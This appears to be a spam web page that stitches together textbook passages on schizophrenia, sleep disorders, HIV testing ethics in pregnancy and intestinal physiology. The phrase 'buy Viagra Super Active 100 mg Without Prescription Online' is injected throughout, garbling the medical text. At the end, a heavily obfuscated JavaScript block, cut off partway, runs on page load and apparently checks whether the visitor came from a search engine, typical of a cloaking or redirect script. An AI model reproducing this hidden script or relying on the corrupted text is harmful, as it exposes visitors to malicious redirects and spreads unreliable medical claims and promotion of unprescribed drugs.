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Visual because of the potential danger of 442 precipitating episodic or continuous cataplexy. This merits further discussion, or insidious with gradual development of odd ideas and conduct, or insidious buy Viagra Super Active 100 mg Without Prescription Online gradual development of odd ideas and buy Viagra Super Active 100 mg Without Prescription Online.

Onset can be acute with disturbed behaviour, such that there is genuine shared decision-making. Such transporters are of proven pharmaceutical utility for enhancing oral absorption. This merits further discussion, or insidious with gradual development of odd ideas and buy Viagra Super Active 100 mg Without Prescription Online, or insidious with gradual development of odd ideas and conduct. Consent is a process, or insidious with gradual development of odd ideas and conduct, or insidious with gradual development of odd ideas and conduct, and developed their own guide- lines? Visual hallucinations are probably much more common in chronic schizophrenia than we generally think.

It does not include a retrospective recognition of a prodrome: Similar conditions developing in the presence of epilepsy or other brain disease are coded under F06. The disturbance has lasted at least 6 months, including at least 1 month of active-phase symptoms: A mood episode plus active phase schizophrenic symptoms occur together and are preceded or followed by at least 2 weeks of delusions or hallucinations without prominent mood symptoms.

• Neuroimaging studies using schizotypal patients suffer from various methodological shortcomings e.
• Redevelopment of skills can be aided by industrial and occupational therapy, social therapies, living-skills courses, day care programmes, rehabilitation schemes, community care schemes, and sheltered accommodation that provides support and supervision.
• Madden ea, 2009 Children with either terrors or somnambulism are 432 433 very difficult to waken, are confused and do not remember what happened.
• This merits further discussion, but suYce to say that if resources are available, there is a strong argument for recommending a universal policy for all pregnant women Hudson et al.

At least 1 month of non-bizarre delusions without other active phase schizophrenic symptoms. Seven subtypes, depending on the prominent delusional theme: If we take seriously the feminist challenge to modern bioethics when we buy Viagra Super Active 100 mg Without Prescription Online with patients from diVerent cultural backgrounds order 25 mg viagra super active amex, we can Wnd a proper Multicultural issues in maternal—fetal medicine 59 way to promote the health and well-being of women and without ignoring diVerence proven 25 mg viagra super active, social ties and local cultures purchase 50 mg viagra super active fast delivery.

In order to promote health as well as justice cheap 50 mg viagra active with mastercard, we need to take into buy Viagra Super Active 100 mg Without Prescription Online the local context and the particular physical, social and cultural circumstances of the particular patient.

This means that the delivery of health services to individuals has to start by focusing on their characteristi- cs and powers of their communities, instead promoting standardized benchmarks. Sensitivity to diVerences between individuals and social collectives, and a focus on the positive features of particular cultural systems, help us to turn communities into progressive rather than regressive forces in the improve- ment of maternal and fetal health. Strong communal and family values, diVerent cultural beliefs and social practices should not be condemned, rather they should be objectively considered as an integral part of develop- ment.

No culture is inherently unreasonably resistant to development and change towards better living conditions as long as enough sensitivity and respect is shown towards its particular, local characteristics. To summarize, this chapter aims to show that it is not impossible to Wnd a shared set of values that can be universally promoted in diVerent types of cultures, without buying Viagra Super Active 100 mg Without Prescription Online cultural assimilation. While individuals may buy Viagra Super Active 100 mg Without Prescription Online their communities, there is no logically valid or morally legitimate reason why they should not work for the good of these communities — as long as we treat the individual members as equally valuable. This exceedingly bleak outlook is relieved in part by the discovery that the following measures can reduce vertical transmission: In fact, provided that the resources are available, vertical transmission rates can now be reduced to less than two per cent Tudor-Williams and Lyall, 1999.

Neverthe- less, pregnant women in these countries can at least be conWdent that their oVspring can escape infection, and, that if they accept treatment, they themselves may beneWt from earlier diagnosis de Cock and Johnson, 1998. Studies in the early 1990s in Kenya and other African countries have shown that the epidemic has had little impact on attitudes and subsequent child- bearing Ryder et al. In addition, some countries, such as Uganda and Senegal, have managed to reduce transmission by vigorous public health education programmes Anonymous, 2000b. I shall now consider the potential implications of a positive result, the nature of the relationship between the health professional and the pregnant woman, and the process of consent, as these are all relevant to a discussion about the ethics of anonymized and named testing.

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The implications of a positive result A pregnant woman is likely to experience considerable distress on discovery of her positive status Manuel, 1999, particularly as she may feel more vulnerable and dependent on others, and she has the added of motherhood ahead of her. Babies can still gain protection from infection if given antiviral treatment within 48 hours of birth, even if the mother has refused to take medication or have a Caesarean section Wade et al.

It is beyond the scope of this parents of whether or not to disclose to their child his or her incurable infection and uncertain life expectancy, or to explore the burden of imposing life-long unpleasant treatment on a child, and of protect- ing him or her from stigma. Abstention from breast-feeding creates particular diYculties in countries and cultures where breast-feeding is the norm, and bottle-feeding stigmatizes a woman Graham and Newell, 1999. The relationship between the health professional and the patient As I have discussed elsewhere de Zulueta, 2000a, the relationship between a health professional and a patient can be characterized as a Wduciary one.

As Brazier succinctly expresses this: The health professional has a duty to promote the well-being of both the mother and the unborn child, but should only provide care that the mother agrees to. The information required is such that the patient buys Viagra Super Active 100 mg Without Prescription Online in broad buys Viagra Super Active 100 mg Without Prescription Online the nature and purpose of the procedure, and the principal risks, beneWts and alternatives Chatterton v Gerson, 1981.

Consent is a process, not an event, and involves a continuing dialogue between the health care professional and the patient, such that there is genuine shared decision-making.

This may be justiWed in countries where the resources are not available to oVer counselling or treatment, and where the data may be used to galvanize the developed world into providing aid. These Wgures, it is argued, can then be used to prevention of the disease, particularly in areas of high prevalence.

A woman attending an antenatal clinic carries the reasonable expecta- tion that all tests and procedures are done either directly to beneWt her or her unborn child de Zulueta, 2000a. In order to make an informed choice, the woman needs to understand the nature of the test itself, as well as the advantages and of Health, in circulation after 1994, does not refer to treatments available for reducing vertical transmission.

In clinics that pro- vide universal testing see later, the women should have received the relevant information from a pre-test discussion buy Viagra Super Active 100 mg Without Prescription Online the midwife, and the 70 P. In one study only Wve per cent fully understood the nature of the testing, and a signiWcant proportion believed that they would be informed should the result be positive Chrystie et al.

The majority of industrialized countries adopted a universal testing policy whereby all women were oVered the test, and developed their own guide- lines. This merits further discussion, but suYce to say that if resources are available, there is a strong argument for recommending a universal policy for all pregnant women Hudson et al. The American Medical Association recently voted in favour of mandatory testing of pregnant women, although mandatory testing is a legal requirement in only a few states such as Texas and New York Phillips et al.

The buys Viagra Super Active 100 mg Without Prescription Online for this include the following: A health professional occupies a position of authority, and if he or she recommends a test, many women would feel that it is not within their rights to refuse. The strongest factor inXuencing uptake, excluding the direct oVer of a test, has generally been the individual midwife interviewing the woman Jones et al. Schott and Henley 1996 quote studies that buy Viagra Super Active 100 mg Without Prescription Online that women who speak little or no English are given fewer choices and less information, and that health professionals tend to be paternalistic and insensitive towards them, concluding that: The individual is seen as an integral part of the family or community and a woman has to consult her spouse, or other members of the family, and even elders, before consenting to medical or surgical procedures Schott and Henley, 1996; NuYeld Council on Bioethics, 1999; de Zulueta, 2001.

There are no clear guidelines for how long pre-test discussion should take, but it seems unlikely that all the issues referred to can be discussed in such a short time span. The condition resembles hypertension in that there is a continuum from normality to severe 421 abnormality order viagra super active 50 mg mastercard. The main complications are nocturnal arrhythmias buy cheap viagra super active on line, hypertension purchase viagra super active amex, and, again rarely, polycythaemia and cor pulmonale. Patients with sleep apnoea may represent problems for anaesthetists, especially after nasal surgery when packs are used. Garrigue ea 2002 point out that many patients with sleep apnoea have nocturnal bradycardia, paroxysmal tachyarrhythmias, or both.

He will vividly remember what he was dreaming about, which often reflects some daytime event or preoccupation. Nightmares may accompany nocturnal hypoglycaemia, the partner noticing that the patient is sweaty and restless during sleep and the patient complaining of hangover and headache next morning.

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Rehearsal of a repetitive nightmare may cause it stop if it is given an imaginary happy ending, so-called elimination of the threat through mastery. Somnambulism may occur in patients with bipolar affective disorder a combination of lithium and an antipsychotic agent. Madden ea, 2009 Children with either terrors or somnambulism are 432 433 very difficult to waken, are confused and do not remember what happened.

In sleepwalking, the subject, who has a blank stare, sits up and makes repetitive movements or, less commonly, walks or goes to the toilet and urinates; standing the child during stage 4 may induce walking. In a night terror, the child appears to wake in great fear but is, in fact, asleep; there may be dramatic screaming, agitation, sweating and tachycardia. Stairs, fires and other potentially dangerous buys Viagra Super Active 100 mg Without Prescription Online should be made secure 434 for somnambulists. The child should not be bought Viagra Super Active 100 mg Without Prescription Online from a terror as this will prolong the attack and leave the child confused. One report of success with paroxetine was contaminated by early co-prescription of clonazepam Lillywhite ea, 1994 but paroxetine does seem to be effective and often more quickly than any antidepressant action could account for.

Note that pergolide and carbergoline are ergot derivatives and may cause serosal reactions e. Pockets of high prevalence of night terrors and somnambulism have been discovered, e. Night terrors are benign and usually resolve within a few years, but can be very distressing. Lask 1988 bought Viagra Super Active 100 mg Without Prescription Online that parents note the timing of night terror episodes on 5 successive nights, and the presence of any signs of autonomic arousal e.

The child is then roused for 10-15 minutes prior to an episode use autonomic arousal as timer if it is difficult to time the onset of the terror. This regime is continued until the terrors buy Viagra Super Active 100 mg Without Prescription Online in many cases the terrors stopped within one week; if there is a recurrence, then the treatment is continued for another week. Some children with terrors have medical problems reflux, periodic limb movements, sleep-related breathing difficulties that need attention. Sleepwalking with onset after childhood may be associated with stress, personality problems, Sours ea, 1963; Calogeras, 1982 or medication.

Sleep deprivation, migraine, head trauma, stroke, encephalitis, and hyperthyroidism can also precipitate somnambulism. Nocturnal sleep bought Viagra Super Active 100 mg Without Prescription Online because of the potential danger of 442 precipitating episodic or continuous cataplexy.

It can be spontaneous or evoked by the emotional response to cataplexy itself or by stopping antidepressant treatment for cataplexy. However, schizophrenia-like disorders do appear to be more common in narcoleptics than in the general population, Davison, 1983 and narcoleptic patients with hallucinations may be misdiagnosed as having schizophrenia. Most cases of narcolepsy appear to be sporadic, Linkowski, 2002 although such cases may buy Viagra Super Active 100 mg Without Prescription Online an underlying genetic susceptibility. Doberman pinchers suffer from familial narcolepsy; narcoleptic phenomena also occurs in mice.

Short episodes of sleep are repeated frequently and, with time, such naps may become less restorative and nocturnal sleep may become disturbed. Narcoleptics buy Viagra Super Active 100 mg Without Prescription Online problems at work, in marriage, in industry, and in traffic throughout life. Knock-out, knock-in, and traditional transgenic mice are genetically engineered mice with genetic material removed from a particular locus, inserted into a particular locus, and randomly inserted not into a particular locus respectively.

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Adverse effects of modafinil include anxiety, agitation, tremor. Psychotic symptoms attributable to amphetamines may abate when the dose is lowered or the medication is 456 changed to modafinil. Eighty percent of patients presenting with restless legs syndrome also have periodic limb movement disorder. A person awakened by hypnic jerking may experience siderealism feeling as if falling in space.

A similar picture may be 459 cause by nocturnal or fragmentary myoclonus and hyperekplexia syndrome startle disease. Painful buys Viagra Super Active 100 mg Without Prescription Online, moving toes: Continuous unilateral pedal sinusoidal flexion-extension with ipsilateral leg pain whilst awake, with continuation during sleep at a reduced intensity, usually associated with peripheral nerve lesions such as in the lumbar roots. Delayed sleep phase syndrome: The patient cannot get to sleep until after everyone else and, if allowed, sleeps on that much later. Bright light exposure in the morning and light restriction in the evening may help.

Where sleep phase is advanced advanced sleep phase syndrome treatment is by evening exposure to 460 bright light. The irregular sleep-wake type of circadian rhythm sleep buy Viagra Super Active 100 mg Without Prescription Online was bought Viagra Super Active 100 mg Without Prescription Online in physically sick people who spent years in bed and were socially isolated. However, it is more likely to be seen in association with intellectual disability, brain damage, and dementia. There is an absence of any pattern to sleeping and waking, patients sleeping for a few hours at irregular intervals.

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Control of the exocrine function of the pancreas is via the hormones gastrin, cholecystokinin and secretin. Pancreatic secretions from ductal cells contain bicarbonate ions that neutralise the acidic chyme from the stomach and are important in protecting the pancreas from recurrent acute and chronic pancreatitis by quickly sweeping zymogens out of it. To buy Viagra Super Active 100 mg Without Prescription Online viable, all cells of the body are required to maintain a low intracellular concen- tration of sodium. The sodium—potassium pump is a highly conserved integral membrane protein, expressed in virtually all animal cells. The transport of sodium creates both an electrical and a chemical gradient across the plasma membrane.

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In turn this provides: A beta glycoprotein subunit appears critical in facilitating plasma membrane localisation and activation of the alpha subunit. There are 8—10 transmembrane domains; alpha and beta subunits exist in several isoforms. Inhibition of sodium pump activity in cardiac myocytes results in an increase in intracellular sodium concentration; in turn this leads to an increase in intracellular calcium concentration by sodium—calcium exchange, which appears to be the proximal mechanism for enhancing cardiac contractility. The major hormonal controls over pump activity can be summarised as follows: Some molecules, water for instance, are transported by both routes, but the tight junctions are impermeable to large organic molecules the diet e, Buy Viagra Super Active 100 mg Without Prescription Online.

Within the intestine, there is a proximal-to-distal gradient in osmotic permeability. In the case of secretion, two distinct processes establish an gradient that pulls water into the lumen of the intestine: The chyme that passes into the intestine from the stomach typically is not hyperosmotic, but as its macromolecular components are bought Viagra Super Active 100 mg Without Prescription Online, the osmolarity of that solution increases e.

Chloride ions enter the crypt epithelial cell by co-transport with sodium and potassium; sodium is pumped back out via sodium pumps and potassium is exported via a number of channels on the basolateral surface. Accumulation of negatively charged chloride anions in the crypt creates an electric potential that attracts sodium ions, Buy Viagra Super Active 100 mg Without Prescription Online, pulled into the lumen apparently across tight junctions; the net result is secretion of NaCl. Secretion NaCl into the crypt creates an osmotic gradient across the tight junction and water is drawn into the lumen by the paracellular route.

There are numerous causes of diarrhoea, but in almost all cases this disorder is a manifestation of one of the following four basic mechanisms: Occurs if osmotically active solutes are retained in the intestinal lumen; water will not be absorbed and diarrhoea will result. This change results in prolonged opening of the chloride channels, leading to uncontrolled secretion of water. Secretory diarrhoea can also result from laxatives, hormones secreted by certain types of tumour e.

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jcmTQt8

$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,57,52,50,51,122,56,54,72,84,77,76,60,34,48,112,47,95,63,38,43,85,67,119,86,83,65,44,58,37,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+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